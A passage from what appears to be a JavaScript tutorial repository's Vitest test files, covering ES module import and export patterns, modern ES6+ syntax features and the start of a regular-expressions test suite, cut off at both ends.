support renaming imports with as', () => {\n        // import { formatDate as formatDateISO } from './date.js'\n        \n        const dateModule = {\n          formatDate: (d) => d.toISOString()\n        }\n        \n        const dateUSModule = {\n          formatDate: (d) => d.toLocaleDateString('en-US')\n        }\n        \n        const { formatDate: formatDateISO } = dateModule\n        const { formatDate: formatDateUS } = dateUSModule\n        \n        const date = new Date('2024-01-15')\n        expect(formatDateISO(date)).toContain('2024-01-15')\n        expect(typeof formatDateUS(date)).toBe('string')\n      })\n\n      it('should support namespace imports (import * as)', () => {\n        // import * as math from './math.js'\n        \n        const mathModule = {\n          PI: 3.14159,\n          E: 2.71828,\n          add: (a, b) => a + b,\n          multiply: (a, b) => a * b,\n          default: { name: 'Math Utils' }\n        }\n        \n        // Namespace import gets all exports as properties\n        const math = mathModule\n        \n        expect(math.PI).toBe(3.14159)\n        expect(math.E).toBe(2.71828)\n        expect(math.add(2, 3)).toBe(5)\n        expect(math.multiply(4, 5)).toBe(20)\n        expect(math.default.name).toBe('Math Utils')  // default is also accessible\n      })\n\n      it('should support side-effect only imports', () => {\n        // import './polyfills.js'\n        // import './analytics.js'\n        \n        let polyfillsLoaded = false\n        let analyticsInitialized = false\n        \n        // Simulating side-effect modules\n        const loadPolyfills = () => { polyfillsLoaded = true }\n        const initAnalytics = () => { analyticsInitialized = true }\n        \n        loadPolyfills()\n        initAnalytics()\n        \n        expect(polyfillsLoaded).toBe(true)\n        expect(analyticsInitialized).toBe(true)\n      })\n    })\n\n    describe('Re-exports (Barrel Files)', () => {\n      it('should support re-exporting named exports', () => {\n        // date.js\n        const dateModule = {\n          formatDate: (d) => d.toISOString(),\n          parseDate: (s) => new Date(s)\n        }\n        \n        // currency.js\n        const currencyModule = {\n          formatCurrency: (n) => `$${n.toFixed(2)}`\n        }\n        \n        // utils/index.js (barrel file)\n        // export { formatDate, parseDate } from './date.js'\n        // export { formatCurrency } from './currency.js'\n        const utilsBarrel = {\n          ...dateModule,\n          ...currencyModule\n        }\n        \n        // Consumer imports from barrel\n        const { formatDate, formatCurrency } = utilsBarrel\n        \n        expect(formatCurrency(19.99)).toBe('$19.99')\n        expect(typeof formatDate(new Date())).toBe('string')\n      })\n\n      it('should support re-exporting default as named', () => {\n        // logger.js\n        // export default class Logger { }\n        const loggerModule = {\n          default: class Logger {\n            log(msg) { return msg }\n          }\n        }\n        \n        // utils/index.js\n        // export { default as Logger } from './logger.js'\n        const utilsBarrel = {\n          Logger: loggerModule.default\n        }\n        \n        const { Logger } = utilsBarrel\n        const logger = new Logger()\n        expect(logger.log('test')).toBe('test')\n      })\n\n      it('should support re-exporting all (export *)', () => {\n        // math.js exports multiple functions\n        const mathModule = {\n          add: (a, b) => a + b,\n          subtract: (a, b) => a - b,\n          multiply: (a, b) => a * b\n        }\n        \n        // utils/index.js\n        // export * from './math.js'\n        const utilsBarrel = { ...mathModule }\n        \n        expect(utilsBarrel.add(1, 2)).toBe(3)\n        expect(utilsBarrel.subtract(5, 3)).toBe(2)\n        expect(utilsBarrel.multiply(4, 5)).toBe(20)\n      })\n    })\n  })\n\n  // ===========================================\n  // Part 7: Module Characteristics\n  // ===========================================\n\n  describe('Part 7: Module Characteristics', () => {\n    describe('Automatic Strict Mode', () => {\n      it('should demonstrate strict mode behaviors', () => {\n        // ES Modules are always in strict mode\n        \n        // Assigning to undeclared variable throws\n        expect(() => {\n          'use strict'\n          undeclaredVar = 'oops'\n        }).toThrow(ReferenceError)\n      })\n\n      it('should prevent duplicate parameters in strict mode', () => {\n        // In strict mode, duplicate parameter names are syntax errors\n        // This would be caught at parse time in a real module:\n        // function f(a, a) { }  // SyntaxError\n        \n        // We can test that strict mode is enforced\n        expect(() => {\n          'use strict'\n          eval('function f(a, a) {}')\n        }).toThrow(SyntaxError)\n      })\n\n      it('should make this undefined in functions called without context', () => {\n        'use strict'\n        \n        function getThis() {\n          return this\n        }\n        \n        expect(getThis()).toBe(undefined)\n      })\n    })\n\n    describe('Module Scope (not global)', () => {\n      it('should keep module variables private by default', () => {\n        // In a module, top-level variables are scoped to the module\n        const createModule = () => {\n          const privateValue = 'secret'\n          const publicValue = 'visible'\n          \n          return {\n            publicValue,\n            getPrivate: () => privateValue\n          }\n        }\n        \n        const mod = createModule()\n        \n        expect(mod.publicValue).toBe('visible')\n        expect(mod.getPrivate()).toBe('secret')\n        expect(mod.privateValue).toBe(undefined)  // Not exposed\n      })\n\n      it('should not leak var to global scope in modules', () => {\n        // In regular scripts, var leaks to window\n        // In modules, var is module-scoped\n        \n        const createModule = () => {\n          var moduleVar = 'module scoped'\n          return { getVar: () => moduleVar }\n        }\n        \n        const mod = createModule()\n        expect(mod.getVar()).toBe('module scoped')\n        expect(typeof moduleVar).toBe('undefined')  // Not in outer scope\n      })\n    })\n\n    describe('Top-level this is undefined', () => {\n      it('should have undefined this at module top level', () => {\n        // In ES Modules, top-level this is undefined\n        // (not window or global)\n        \n        // Regular function in strict mode has undefined this when called without context\n        function getThisInStrictMode() {\n          'use strict'\n          return this\n        }\n        \n        // Called without context, this is undefined (like module top-level)\n        expect(getThisInStrictMode()).toBe(undefined)\n        \n        // Arrow functions capture this from enclosing scope\n        // In a real ES module, this would be undefined at the top level\n        const arrowThis = (() => this)()\n        \n        // Note: In test environment, the outer `this` may not be undefined\n        // but in a real ES module file, top-level `this` IS undefined\n        // This test demonstrates the concept via strict mode function\n      })\n    })\n\n    describe('Import Hoisting', () => {\n      it('should demonstrate that imports are hoisted', () => {\n        // In ES Modules, import declarations are hoisted\n        // The imported bindings are available throughout the module\n        \n        // This would work in a real module:\n        // console.log(helper())  // Works! Imports are hoisted\n        // import { helper } from './utils.js'\n        \n        // We simulate by showing the concept\n        const moduleCode = () => {\n          // Imports are processed first, before any code runs\n          const imports = { helper: () => 'helped' }\n          \n          // Then code runs, with imports already available\n          const result = imports.helper()  // Can use before \"import line\"\n          return result\n        }\n        \n        expect(moduleCode()).toBe('helped')\n      })\n    })\n  })\n\n  // ===========================================\n  // Part 8: Common Mistakes\n  // ===========================================\n\n  describe('Part 8: Common Mistakes', () => {\n    describe('Mistake #1: Named vs Default Import Confusion', () => {\n      it('should demonstrate the difference between named and default imports', () => {\n        const moduleWithBoth = {\n          default: function Logger() { return 'default' },\n          format: () => 'named format'\n        }\n        \n        // CORRECT: No braces for default\n        // import Logger from './logger.js'\n        const Logger = moduleWithBoth.default\n        \n        // CORRECT: Braces for named\n        // import { format } from './logger.js'\n        const { format } = moduleWithBoth\n        \n        expect(Logger()).toBe('default')\n        expect(format()).toBe('named format')\n        \n        // WRONG would be:\n        // import { Logger } from './logger.js'  // Error: no named export 'Logger'\n        expect(moduleWithBoth.Logger).toBe(undefined)  // Not a named export!\n      })\n\n      it('should show the curly brace rule', () => {\n        /*\n          export default X      →  import X from '...'      (no braces)\n          export { Y }          →  import { Y } from '...'  (braces)\n          export { Z as W }     →  import { W } from '...'  (braces)\n        */\n        \n        const modA = { default: 'X value' }\n        const modB = { Y: 'Y value' }\n        const modC = { W: 'Z exported as W' }\n        \n        const X = modA.default       // No braces\n        const { Y } = modB           // Braces\n        const { W } = modC           // Braces (renamed)\n        \n        expect(X).toBe('X value')\n        expect(Y).toBe('Y value')\n        expect(W).toBe('Z exported as W')\n      })\n    })\n\n    describe('Mistake #2: Missing File Extensions', () => {\n      it('should demonstrate that extensions are required', () => {\n        // In browsers and Node.js ESM, file extensions are required\n        \n        const validPaths = [\n          './utils.js',           // Correct\n          './components/Button.js', // Correct\n          '../helpers.mjs',       // Correct\n        ]\n        \n        const invalidPaths = [\n          './utils',              // Missing extension - 404 in browser\n          './components/Button',  // Missing extension - ERR_MODULE_NOT_FOUND\n        ]\n        \n        // All valid paths have extensions\n        validPaths.forEach(path => {\n          expect(path).toMatch(/\\.(js|mjs|cjs)$/)\n        })\n        \n        // Invalid paths lack extensions\n        invalidPaths.forEach(path => {\n          expect(path).not.toMatch(/\\.(js|mjs|cjs)$/)\n        })\n      })\n    })\n\n    describe('Mistake #3: Using require in ESM', () => {\n      it('should show that require is not available in ESM', () => {\n        // In ESM files, require() is not defined\n        // This would throw: ReferenceError: require is not defined\n        \n        const esmEnvironment = {\n          require: undefined,  // Not available\n          import: () => Promise.resolve({}),  // Use this instead\n          importMeta: { url: 'file:///path/to/module.js' }\n        }\n        \n        expect(esmEnvironment.require).toBe(undefined)\n        expect(typeof esmEnvironment.import).toBe('function')\n      })\n\n      it('should show createRequire workaround', () => {\n        // If you need require in ESM (for CommonJS packages):\n        // import { createRequire } from 'module'\n        // const require = createRequire(import.meta.url)\n        \n        // Simulating createRequire\n        const createRequire = (url) => {\n          return (moduleName) => {\n            // This would actually load CommonJS modules\n            return { loaded: moduleName, from: url }\n          }\n        }\n        \n        const require = createRequire('file:///app/main.js')\n        const legacyModule = require('some-commonjs-package')\n        \n        expect(legacyModule.loaded).toBe('some-commonjs-package')\n      })\n    })\n  })\n\n  // ===========================================\n  // Part 9: Test Your Knowledge (from docs)\n  // ===========================================\n\n  describe('Part 9: Test Your Knowledge', () => {\n    describe('Q1: Static vs Dynamic - Why tree-shaking works', () => {\n      it('should show ESM imports are statically analyzable', () => {\n        // ESM imports are declarations, not function calls\n        // Bundlers can see exactly what's imported without running code\n        \n        const moduleExports = {\n          add: (a, b) => a + b,\n          subtract: (a, b) => a - b,\n          multiply: (a, b) => a * b,\n          divide: (a, b) => a / b\n        }\n        \n        // Static import - bundler knows only 'add' is used\n        const { add } = moduleExports\n        \n        // The other functions can be tree-shaken out\n        const usedExports = ['add']\n        const unusedExports = ['subtract', 'multiply', 'divide']\n        \n        expect(usedExports).toContain('add')\n        expect(unusedExports).not.toContain('add')\n      })\n    })\n\n    describe('Q2: Live bindings vs copies', () => {\n      it('should demonstrate the key difference', () => {\n        // ESM: live binding (reference)\n        const esmModule = { count: 0, increment() { this.count++ } }\n        \n        expect(esmModule.count).toBe(0)\n        esmModule.increment()\n        expect(esmModule.count).toBe(1)  // Live - sees the change\n        \n        // CommonJS simulation: value copy\n        let cjsCount = 0\n        const cjsExport = { \n          count: cjsCount,  // Copy at export time\n          increment() { cjsCount++ }\n        }\n        \n        expect(cjsExport.count).toBe(0)\n        cjsExport.increment()\n        expect(cjsExport.count).toBe(0)  // Still 0 - it's a copy\n      })\n    })\n\n    describe('Q3: When to use dynamic imports', () => {\n      it('should use dynamic imports for conditional loading', async () => {\n        const features = {\n          charts: { render: () => 'chart' },\n          maps: { render: () => 'map' }\n        }\n        \n        async function loadFeature(name) {\n          // Only loads when called, not at module load time\n          return Promise.resolve(features[name])\n        }\n        \n        // Feature loaded on demand\n        const charts = await loadFeature('charts')\n        expect(charts.render()).toBe('chart')\n      })\n    })\n\n    describe('Q4: Why extensions are required', () => {\n      it('should explain browser vs Node resolution', () => {\n        // Browsers make HTTP requests - can't try multiple extensions\n        // Node ESM matches browser behavior for consistency\n        \n        const browserRequest = (path) => {\n          // Browser requests exactly what you ask for\n          // Check for common JS extensions\n          const hasExtension = /\\.(js|mjs|cjs|json)$/.test(path)\n          if (!hasExtension) {\n            return { status: 404, error: 'Not Found' }\n          }\n          return { status: 200, content: 'module code' }\n        }\n        \n        expect(browserRequest('./utils').status).toBe(404)\n        expect(browserRequest('./utils.js').status).toBe(200)\n        expect(browserRequest('./module.mjs').status).toBe(200)\n      })\n    })\n\n    describe('Q5: What happens with circular dependencies', () => {\n      it('should show TDZ error with const/let', () => {\n        // With const/let, accessing before init throws ReferenceError\n        expect(() => {\n          const fn = () => {\n            console.log(x)  // TDZ\n            const x = 1\n          }\n          fn()\n        }).toThrow(ReferenceError)\n      })\n\n      it('should show deferred access pattern works', () => {\n        const moduleA = { value: null }\n        const moduleB = {\n          getValue: () => moduleA.value  // Deferred - reads at call time\n        }\n        \n        expect(moduleB.getValue()).toBe(null)  // A not initialized\n        \n        moduleA.value = 'initialized'\n        expect(moduleB.getValue()).toBe('initialized')  // Works now\n      })\n    })\n  })\n})\n"
  },
  {
    "path": "tests/advanced-topics/modern-js-syntax/modern-js-syntax.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('Modern JavaScript Syntax (ES6+)', () => {\n  \n  // ===========================================\n  // ARROW FUNCTIONS\n  // ===========================================\n  describe('Arrow Functions', () => {\n    it('should have concise syntax for single expressions', () => {\n      const add = (a, b) => a + b\n      const square = x => x * x\n      const greet = () => 'Hello!'\n\n      expect(add(2, 3)).toBe(5)\n      expect(square(4)).toBe(16)\n      expect(greet()).toBe('Hello!')\n    })\n\n    it('should require explicit return in block body', () => {\n      const withBlock = (a, b) => { return a + b }\n      const withoutReturn = (a, b) => { a + b }  // Returns undefined\n\n      expect(withBlock(2, 3)).toBe(5)\n      expect(withoutReturn(2, 3)).toBe(undefined)\n    })\n\n    it('should require parentheses when returning object literal', () => {\n      // Without parentheses, braces are interpreted as function body (labeled statement)\n      const wrong = name => { name: name }  // This is a labeled statement, returns undefined\n      const correct = name => ({ name: name })  // Parentheses make it an object literal\n\n      expect(wrong('Alice')).toBe(undefined)\n      expect(correct('Alice')).toEqual({ name: 'Alice' })\n      \n      // Note: Adding a comma like { name: name, active: true } would be a SyntaxError\n    })\n\n    it('should inherit this from enclosing scope', () => {\n      const obj = {\n        value: 42,\n        getValueArrow: function() {\n          const arrow = () => this.value\n          return arrow()\n        },\n        getValueRegular: function() {\n          // In strict mode, 'this' inside a plain function call is undefined\n          // This would throw an error if we try to access this.value\n          const regular = function() { return this }\n          return regular()\n        }\n      }\n\n      expect(obj.getValueArrow()).toBe(42)\n      // Arrow function correctly inherits 'this' from getValueArrow\n      // Regular function loses 'this' binding (undefined in strict mode)\n      expect(obj.getValueRegular()).toBe(undefined)\n    })\n  })\n\n  // ===========================================\n  // DESTRUCTURING\n  // ===========================================\n  describe('Destructuring', () => {\n    describe('Array Destructuring', () => {\n      it('should extract values by position', () => {\n        const colors = ['red', 'green', 'blue']\n        const [first, second, third] = colors\n\n        expect(first).toBe('red')\n        expect(second).toBe('green')\n        expect(third).toBe('blue')\n      })\n\n      it('should skip elements with empty slots', () => {\n        const numbers = [1, 2, 3, 4, 5]\n        const [first, , third, , fifth] = numbers\n\n        expect(first).toBe(1)\n        expect(third).toBe(3)\n        expect(fifth).toBe(5)\n      })\n\n      it('should support default values', () => {\n        const [a, b, c = 'default'] = [1, 2]\n\n        expect(a).toBe(1)\n        expect(b).toBe(2)\n        expect(c).toBe('default')\n      })\n\n      it('should support rest pattern', () => {\n        const [head, ...tail] = [1, 2, 3, 4, 5]\n\n        expect(head).toBe(1)\n        expect(tail).toEqual([2, 3, 4, 5])\n      })\n\n      it('should swap variables without temp', () => {\n        let x = 1\n        let y = 2\n\n        ;[x, y] = [y, x]\n\n        expect(x).toBe(2)\n        expect(y).toBe(1)\n      })\n    })\n\n    describe('Object Destructuring', () => {\n      it('should extract properties by name', () => {\n        const user = { name: 'Alice', age: 25 }\n        const { name, age } = user\n\n        expect(name).toBe('Alice')\n        expect(age).toBe(25)\n      })\n\n      it('should support renaming', () => {\n        const user = { name: 'Alice', age: 25 }\n        const { name: userName, age: userAge } = user\n\n        expect(userName).toBe('Alice')\n        expect(userAge).toBe(25)\n      })\n\n      it('should support default values', () => {\n        const user = { name: 'Alice' }\n        const { name, role = 'guest' } = user\n\n        expect(name).toBe('Alice')\n        expect(role).toBe('guest')\n      })\n\n      it('should support nested destructuring', () => {\n        const user = {\n          name: 'Alice',\n          address: { city: 'Portland', country: 'USA' }\n        }\n        const { address: { city } } = user\n\n        expect(city).toBe('Portland')\n      })\n\n      it('should support rest pattern', () => {\n        const user = { id: 1, name: 'Alice', age: 25 }\n        const { id, ...rest } = user\n\n        expect(id).toBe(1)\n        expect(rest).toEqual({ name: 'Alice', age: 25 })\n      })\n    })\n\n    describe('Function Parameter Destructuring', () => {\n      it('should destructure parameters', () => {\n        function greet({ name, greeting = 'Hello' }) {\n          return `${greeting}, ${name}!`\n        }\n\n        expect(greet({ name: 'Alice' })).toBe('Hello, Alice!')\n        expect(greet({ name: 'Bob', greeting: 'Hi' })).toBe('Hi, Bob!')\n      })\n\n      it('should handle empty parameter with default', () => {\n        function greet({ name = 'Guest' } = {}) {\n          return `Hello, ${name}!`\n        }\n\n        expect(greet()).toBe('Hello, Guest!')\n        expect(greet({})).toBe('Hello, Guest!')\n        expect(greet({ name: 'Alice' })).toBe('Hello, Alice!')\n      })\n    })\n  })\n\n  // ===========================================\n  // SPREAD AND REST OPERATORS\n  // ===========================================\n  describe('Spread and Rest Operators', () => {\n    describe('Spread Operator', () => {\n      it('should spread arrays', () => {\n        const arr1 = [1, 2, 3]\n        const arr2 = [4, 5, 6]\n\n        expect([...arr1, ...arr2]).toEqual([1, 2, 3, 4, 5, 6])\n        expect([0, ...arr1, 4]).toEqual([0, 1, 2, 3, 4])\n      })\n\n      it('should copy arrays (shallow)', () => {\n        const original = [1, 2, 3]\n        const copy = [...original]\n\n        expect(copy).toEqual(original)\n        expect(copy).not.toBe(original)\n      })\n\n      it('should spread objects', () => {\n        const defaults = { theme: 'light', fontSize: 14 }\n        const userPrefs = { theme: 'dark' }\n\n        const merged = { ...defaults, ...userPrefs }\n\n        expect(merged).toEqual({ theme: 'dark', fontSize: 14 })\n      })\n\n      it('should spread function arguments', () => {\n        const numbers = [1, 5, 3, 9, 2]\n\n        expect(Math.max(...numbers)).toBe(9)\n        expect(Math.min(...numbers)).toBe(1)\n      })\n\n      it('should create shallow copies only', () => {\n        const original = { nested: { value: 1 } }\n        const copy = { ...original }\n\n        copy.nested.value = 2\n\n        // Both are affected because nested object is shared\n        expect(original.nested.value).toBe(2)\n        expect(copy.nested.value).toBe(2)\n      })\n    })\n\n    describe('Rest Parameters', () => {\n      it('should collect remaining arguments', () => {\n        function sum(...numbers) {\n          return numbers.reduce((total, n) => total + n, 0)\n        }\n\n        expect(sum(1, 2, 3)).toBe(6)\n        expect(sum(1, 2, 3, 4, 5)).toBe(15)\n        expect(sum()).toBe(0)\n      })\n\n      it('should work with named parameters', () => {\n        function log(first, ...rest) {\n          return { first, rest }\n        }\n\n        expect(log('a', 'b', 'c', 'd')).toEqual({\n          first: 'a',\n          rest: ['b', 'c', 'd']\n        })\n      })\n    })\n  })\n\n  // ===========================================\n  // TEMPLATE LITERALS\n  // ===========================================\n  describe('Template Literals', () => {\n    it('should interpolate expressions', () => {\n      const name = 'Alice'\n      const age = 25\n\n      expect(`Hello, ${name}!`).toBe('Hello, Alice!')\n      expect(`Age: ${age}`).toBe('Age: 25')\n      expect(`Next year: ${age + 1}`).toBe('Next year: 26')\n    })\n\n    it('should support multi-line strings', () => {\n      const multiLine = `line 1\nline 2\nline 3`\n\n      expect(multiLine).toContain('line 1')\n      expect(multiLine).toContain('\\n')\n      expect(multiLine.split('\\n').length).toBe(3)\n    })\n\n    it('should work with tagged templates', () => {\n      function upper(strings, ...values) {\n        return strings.reduce((result, str, i) => {\n          const value = values[i] ? values[i].toString().toUpperCase() : ''\n          return result + str + value\n        }, '')\n      }\n\n      const name = 'alice'\n      expect(upper`Hello, ${name}!`).toBe('Hello, ALICE!')\n    })\n  })\n\n  // ===========================================\n  // OPTIONAL CHAINING\n  // ===========================================\n  describe('Optional Chaining', () => {\n    it('should safely access nested properties', () => {\n      const user = { name: 'Alice' }\n      const userWithAddress = { name: 'Bob', address: { city: 'Portland' } }\n\n      expect(user?.address?.city).toBe(undefined)\n      expect(userWithAddress?.address?.city).toBe('Portland')\n    })\n\n    it('should short-circuit on null/undefined', () => {\n      const user = null\n\n      expect(user?.name).toBe(undefined)\n      expect(user?.address?.city).toBe(undefined)\n    })\n\n    it('should work with bracket notation', () => {\n      const user = { profile: { name: 'Alice' } }\n      const prop = 'profile'\n\n      expect(user?.[prop]?.name).toBe('Alice')\n      expect(user?.['nonexistent']?.name).toBe(undefined)\n    })\n\n    it('should work with function calls', () => {\n      const obj = {\n        greet: () => 'Hello!'\n      }\n\n      expect(obj.greet?.()).toBe('Hello!')\n      expect(obj.nonexistent?.()).toBe(undefined)\n    })\n  })\n\n  // ===========================================\n  // NULLISH COALESCING\n  // ===========================================\n  describe('Nullish Coalescing', () => {\n    it('should return right side only for null/undefined', () => {\n      expect(null ?? 'default').toBe('default')\n      expect(undefined ?? 'default').toBe('default')\n      expect(0 ?? 'default').toBe(0)\n      expect('' ?? 'default').toBe('')\n      expect(false ?? 'default').toBe(false)\n      expect(NaN ?? 'default').toBeNaN()\n    })\n\n    it('should differ from logical OR', () => {\n      // || returns right side for any falsy value\n      expect(0 || 'default').toBe('default')\n      expect('' || 'default').toBe('default')\n      expect(false || 'default').toBe('default')\n\n      // ?? only returns right side for null/undefined\n      expect(0 ?? 'default').toBe(0)\n      expect('' ?? 'default').toBe('')\n      expect(false ?? 'default').toBe(false)\n    })\n\n    it('should combine with optional chaining', () => {\n      const user = null\n\n      expect(user?.name ?? 'Anonymous').toBe('Anonymous')\n      \n      const userWithName = { name: 'Alice' }\n      expect(userWithName?.name ?? 'Anonymous').toBe('Alice')\n    })\n  })\n\n  // ===========================================\n  // LOGICAL ASSIGNMENT OPERATORS\n  // ===========================================\n  describe('Logical Assignment Operators', () => {\n    it('should support nullish coalescing assignment (??=)', () => {\n      let a = null\n      let b = 'value'\n      let c = 0\n\n      a ??= 'default'\n      b ??= 'default'\n      c ??= 'default'\n\n      expect(a).toBe('default')\n      expect(b).toBe('value')\n      expect(c).toBe(0)\n    })\n\n    it('should support logical OR assignment (||=)', () => {\n      let a = null\n      let b = 'value'\n      let c = 0\n\n      a ||= 'default'\n      b ||= 'default'\n      c ||= 'default'\n\n      expect(a).toBe('default')\n      expect(b).toBe('value')\n      expect(c).toBe('default')  // 0 is falsy\n    })\n\n    it('should support logical AND assignment (&&=)', () => {\n      let a = null\n      let b = 'value'\n\n      a &&= 'updated'\n      b &&= 'updated'\n\n      expect(a).toBe(null)      // null is falsy, so no assignment\n      expect(b).toBe('updated') // 'value' is truthy, so assign\n    })\n  })\n\n  // ===========================================\n  // DEFAULT PARAMETERS\n  // ===========================================\n  describe('Default Parameters', () => {\n    it('should provide default values', () => {\n      function greet(name = 'Guest', greeting = 'Hello') {\n        return `${greeting}, ${name}!`\n      }\n\n      expect(greet()).toBe('Hello, Guest!')\n      expect(greet('Alice')).toBe('Hello, Alice!')\n      expect(greet('Bob', 'Hi')).toBe('Hi, Bob!')\n    })\n\n    it('should only trigger on undefined, not null', () => {\n      function example(value = 'default') {\n        return value\n      }\n\n      expect(example(undefined)).toBe('default')\n      expect(example(null)).toBe(null)\n      expect(example(0)).toBe(0)\n      expect(example('')).toBe('')\n      expect(example(false)).toBe(false)\n    })\n\n    it('should allow earlier parameters as defaults', () => {\n      function createRect(width, height = width) {\n        return { width, height }\n      }\n\n      expect(createRect(10)).toEqual({ width: 10, height: 10 })\n      expect(createRect(10, 20)).toEqual({ width: 10, height: 20 })\n    })\n\n    it('should evaluate default expressions each time', () => {\n      let counter = 0\n      function getDefault() { return ++counter }\n      \n      function example(value = getDefault()) {\n        return value\n      }\n\n      expect(example()).toBe(1)\n      expect(example()).toBe(2)\n      expect(example()).toBe(3)\n      expect(example(100)).toBe(100)  // getDefault not called\n      expect(example()).toBe(4)\n    })\n  })\n\n  // ===========================================\n  // ENHANCED OBJECT LITERALS\n  // ===========================================\n  describe('Enhanced Object Literals', () => {\n    it('should support property shorthand', () => {\n      const name = 'Alice'\n      const age = 25\n\n      const user = { name, age }\n\n      expect(user).toEqual({ name: 'Alice', age: 25 })\n    })\n\n    it('should support method shorthand', () => {\n      const calculator = {\n        add(a, b) { return a + b },\n        subtract(a, b) { return a - b }\n      }\n\n      expect(calculator.add(5, 3)).toBe(8)\n      expect(calculator.subtract(5, 3)).toBe(2)\n    })\n\n    it('should support computed property names', () => {\n      const key = 'dynamicKey'\n      const index = 0\n\n      const obj = {\n        [key]: 'value',\n        [`item_${index}`]: 'first'\n      }\n\n      expect(obj.dynamicKey).toBe('value')\n      expect(obj.item_0).toBe('first')\n    })\n  })\n\n  // ===========================================\n  // MAP, SET, AND SYMBOL\n  // ===========================================\n  describe('Map', () => {\n    it('should store key-value pairs with any key type', () => {\n      const map = new Map()\n      const objKey = { id: 1 }\n\n      map.set('string', 'value1')\n      map.set(42, 'value2')\n      map.set(objKey, 'value3')\n\n      expect(map.get('string')).toBe('value1')\n      expect(map.get(42)).toBe('value2')\n      expect(map.get(objKey)).toBe('value3')\n      expect(map.size).toBe(3)\n    })\n\n    it('should maintain insertion order', () => {\n      const map = new Map([['c', 3], ['a', 1], ['b', 2]])\n      const keys = [...map.keys()]\n\n      expect(keys).toEqual(['c', 'a', 'b'])\n    })\n\n    it('should be iterable', () => {\n      const map = new Map([['a', 1], ['b', 2]])\n      const entries = []\n\n      for (const [key, value] of map) {\n        entries.push([key, value])\n      }\n\n      expect(entries).toEqual([['a', 1], ['b', 2]])\n    })\n  })\n\n  describe('Set', () => {\n    it('should store unique values', () => {\n      const set = new Set([1, 2, 2, 3, 3, 3])\n\n      expect(set.size).toBe(3)\n      expect([...set]).toEqual([1, 2, 3])\n    })\n\n    it('should remove duplicates from arrays', () => {\n      const numbers = [1, 2, 2, 3, 3, 3, 4, 4, 4, 4]\n      const unique = [...new Set(numbers)]\n\n      expect(unique).toEqual([1, 2, 3, 4])\n    })\n\n    it('should support set operations', () => {\n      const a = new Set([1, 2, 3])\n      const b = new Set([2, 3, 4])\n\n      const union = new Set([...a, ...b])\n      const intersection = [...a].filter(x => b.has(x))\n      const difference = [...a].filter(x => !b.has(x))\n\n      expect([...union]).toEqual([1, 2, 3, 4])\n      expect(intersection).toEqual([2, 3])\n      expect(difference).toEqual([1])\n    })\n  })\n\n  describe('Symbol', () => {\n    it('should create unique values', () => {\n      const sym1 = Symbol('description')\n      const sym2 = Symbol('description')\n\n      expect(sym1).not.toBe(sym2)\n    })\n\n    it('should work as object keys', () => {\n      const ID = Symbol('id')\n      const user = {\n        name: 'Alice',\n        [ID]: 12345\n      }\n\n      expect(user[ID]).toBe(12345)\n      expect(Object.keys(user)).toEqual(['name'])  // Symbol not included\n    })\n\n    it('should support global registry with Symbol.for', () => {\n      const sym1 = Symbol.for('shared')\n      const sym2 = Symbol.for('shared')\n\n      expect(sym1).toBe(sym2)\n      expect(Symbol.keyFor(sym1)).toBe('shared')\n    })\n  })\n\n  // ===========================================\n  // FOR...OF LOOP\n  // ===========================================\n  describe('for...of Loop', () => {\n    it('should iterate over array values', () => {\n      const arr = ['a', 'b', 'c']\n      const values = []\n\n      for (const value of arr) {\n        values.push(value)\n      }\n\n      expect(values).toEqual(['a', 'b', 'c'])\n    })\n\n    it('should iterate over string characters', () => {\n      const chars = []\n\n      for (const char of 'hello') {\n        chars.push(char)\n      }\n\n      expect(chars).toEqual(['h', 'e', 'l', 'l', 'o'])\n    })\n\n    it('should iterate over Map entries', () => {\n      const map = new Map([['a', 1], ['b', 2]])\n      const entries = []\n\n      for (const [key, value] of map) {\n        entries.push({ key, value })\n      }\n\n      expect(entries).toEqual([\n        { key: 'a', value: 1 },\n        { key: 'b', value: 2 }\n      ])\n    })\n\n    it('should iterate over Set values', () => {\n      const set = new Set([1, 2, 3])\n      const values = []\n\n      for (const value of set) {\n        values.push(value)\n      }\n\n      expect(values).toEqual([1, 2, 3])\n    })\n\n    it('should work with destructuring', () => {\n      const users = [\n        { name: 'Alice', age: 25 },\n        { name: 'Bob', age: 30 }\n      ]\n      const names = []\n\n      for (const { name } of users) {\n        names.push(name)\n      }\n\n      expect(names).toEqual(['Alice', 'Bob'])\n    })\n  })\n})\n"
  },
  {
    "path": "tests/advanced-topics/regular-expressions/regular-expressions.test.js",
    "content": "import { describe, it, expect } from 'vitest'\n\ndescribe('Regular Expressions', () => {\n  describe('Creating Regex', () => {\n    it('should create regex with literal syntax', () => {\n      const pattern = /hello/\n      expect(pattern.test('hello world')).toBe(true)\n      expect(pattern.test('world')).toBe(false)\n    })\n\n    it('should create regex with RegExp constructor', () => {\n      const pattern = new RegExp('hello')\n      expect(pattern.test('hello world')).toBe(true)\n      expect(pattern.test('world')).toBe(false)\n    })\n\n    it('should create dynamic patterns with RegExp constructor', () => {\n      const searchTerm = 'cat'\n      const pattern = new RegExp(searchTerm, 'gi')\n      expect('Cat CAT cat'.match(pattern)).toEqual(['Cat', 'CAT', 'cat'])\n    })\n  })\n\n  describe('Character Classes', () => {\n    it('should match digits with \\\\d', () => {\n      const pattern = /\\d+/\n      expect(pattern.test('123')).toBe(true)\n      expect(pattern.test('abc')).toBe(false)\n      expect('abc123def'.match(pattern)[0]).toBe('123')\n    })\n\n    it('should match word characters with \\\\w', () => {\n      const pattern = /\\w+/g\n      expect('hello_world 123'.match(pattern)).toEqual(['hello_world', '123'])\n    })\n\n    it('should match whitespace with \\\\s', () => {\n      const pattern = /\\s+/\n      expect(pattern.test('hello world')).toBe(true)\n      expect(pattern.test('helloworld')).toBe(false)\n    })\n\n    it('should match any character with .', () => {\n      const pattern = /a.c/\n      expect(pattern.test('abc')).toBe(true)\n      expect(pattern.test('a1c')).toBe(true)\n      expect(pattern.test('ac')).toBe(false)\n    })\n\n    it('should match character sets with []', () => {\n      const vowelPattern = /[aeiou]/g\n      expect('hello'.match(vowelPattern)).toEqual(['e', 'o'])\n    })\n\n    it('should match negated character sets with [^]', () => {\n      const nonDigitPattern = /[^0-9]+/g\n      expect('abc123def'.match(nonDigitPattern)).toEqual(['abc', 'def'])\n    })\n\n    it('should match character ranges', () => {\n      const lowercasePattern = /[a-z]+/g\n      expect('Hello World'.match(lowercasePattern)).toEqual(['ello', 'orld'])\n    })\n  })\n\n  describe('Quantifiers', () => {\n    it('should match 0 or more with *', () => {\n      const pattern = /ab*c/\n      expect(pattern.test('ac')).toBe(true)\n      expect(pattern.test('abc')).toBe(true)\n      